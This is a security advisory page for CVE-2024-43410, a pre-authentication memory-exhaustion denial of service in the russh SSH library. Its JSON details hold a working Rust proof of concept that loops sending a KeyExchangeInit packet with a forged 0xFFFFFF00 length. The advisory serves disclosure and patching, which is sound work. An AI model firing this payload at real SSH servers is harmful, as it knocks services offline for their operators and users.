ghsa-vgvv-x7xg-6cqg
Vulnerability from github
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Summary
Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.
Details
An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.
https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254
But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.
RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1
However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.
PoC
Running the echoserver
example on port 2222 (cd russh && cargo run --release --example echoserver
), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.
Impact
Due to this allocation, a russh server can be brought to OOM, causing a DoS. Since this happens before authentication, it can be done by any user that has access to the TCP port over the internet.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 0.44.0" }, "package": { "ecosystem": "crates.io", "name": "russh" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.44.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-43410" ], "database_specific": { "cwe_ids": [ "CWE-770" ], "github_reviewed": true, "github_reviewed_at": "2024-08-14T21:18:20Z", "nvd_published_at": "2024-08-21T16:15:08Z", "severity": "HIGH" }, "details": "### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n\u003e However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh \u0026\u0026 cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n\u003cdetails\u003e\n\u003csummary\u003eRust code to run against the echo server\u003c/summary\u003e\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n io::{Read, Write},\n net::TcpStream,\n};\n\nfn main() -\u003e Result\u003c(), Box\u003cdyn Error\u003e\u003e {\n loop {\n attempt()?;\n eprintln!(\"still running, trying again in a few seconds\");\n std::thread::sleep(Duration::from_secs(2));\n }\n}\n\nfn attempt() -\u003e Result\u003c(), Box\u003cdyn Error\u003e\u003e {\n for i in 0..5 {\n eprintln!(\"iteration {i}\");\n let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::\u003cSocketAddr\u003e().unwrap())?;\n s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n s.read(\u0026mut [0; 1000])?;\n // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n s.write_all(\u0026hex_literal::hex!(\n \"\n ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n 1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n 637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n 7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n 13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n 652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n 763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n 06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n 31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n 63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n 2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n 1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n 742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n 06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n 73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n 5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n 736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n 22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n 736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n 32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n 32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n 06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n 6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n 6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n 5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n 2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n 22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n 6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n 5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n 6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n 632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n 70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n \"\n ))?;\n\n s.shutdown(std::net::Shutdown::Both)?;\n }\n Ok(())\n}\n```\n\n\u003c/details\u003e\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.", "id": "GHSA-vgvv-x7xg-6cqg", "modified": "2024-08-21T18:59:23Z", "published": "2024-08-14T21:18:20Z", "references": [ { "type": "WEB", "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43410" }, { "type": "WEB", "url": "https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55" }, { "type": "PACKAGE", "url": "https://github.com/Eugeny/russh" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Russh has an OOM Denial of Service due to allocation of untrusted amount" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.